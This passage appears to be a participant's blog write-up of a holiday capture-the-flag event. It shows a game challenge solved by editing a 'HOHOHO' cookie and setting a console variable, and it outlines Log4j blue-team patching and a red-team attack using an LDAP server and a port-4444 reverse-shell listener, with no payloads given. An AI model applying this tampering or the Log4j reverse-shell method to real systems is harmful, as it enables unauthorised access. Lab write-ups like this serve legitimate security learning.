At first, I checked the cookie of hero.kringlecastle.com domain and found HOHOHO: %7B%22single_player%22%3Afalse%7D value. By URL decoding this, I got the value {"single_player":false}. It seems the first key of this challenge.
I updated this cookie with below value

HOHOHO: %7B%22single_player%22:true%7D

Then, reloaded the browser. But nothing was changed.
Next, I checked the source code which is used in this game, and found the file hollidayhero.js. This is the most related file with this game.
I searched this file with the word single, and found the value single_player_mode. So, I tried to change this value from console at the beginning of this game with the command

single_player_mode = true

With this operation, COMPUTER user joined the game as a player2.
COMPUTER plays the game with no miss, and I cleared this game in standalone site (https://hero.kringlecastle.com/). But it's not appeared to my achievement.

I tried this game in the iframe of Kringlecastle, but the latency is higher than standalone and I couldn't clear this game. My machine's fan was working hard...
Then, I stopped to try this challenge, and cool down the PC and me, then tried again. Finally, I cleared this game in iframe, and achieved the terminal challenge!

f:id:kusuwada:20220106223958p:plain

Bonus! Log4j Blue

I also enjoyed the bonus stage of log4j blue and red.
On the blue team's stage, we can lean and experienced the situation how log4j vulnerability is used and how to protect from this attack (version up).

It seems very simple and normal usage of log4j in this challenge, and I felt very close to this vulnerability by seeing the victim's code and try to use the vulnerability. And it would be helpful to patch our own system by trying update the library, and Search for traces of this attack.

Bonus! Log4j Red

On the red team's stage, we can lean and experienced how to use the log4j vulnerability for attacking.
We prepared the LDAP server to be looked up from log4j, and a server listening on port 4444 for reverse shell. And try to attack the web site with log4j.
I also learned how easy it is to launch this attack even taking into account that the environment of the challenge is too well prepared.

Acknowledgments

Thank you for organizing such a high quality and fun challenge! It was a lot of new things for me also this time, especially AD hacking, IPv6 related snooping, and Fail2Ban. I got a lot of experiences I wouldn't normally have had. I'm not so good at shellcode assembling, Powershell, nor Windows things. But it was interesting to try from basics with good support such as talk movie or sample codes.
The timely release of log4j challenge was exciting. I think it was very useful for both security related worker and DevOps side to experience it at this speed!

I also give great thanks to my kids, who didn't wake up during the night and helped me to try this challenge. I also thank my husband for understanding my participation in this challenge.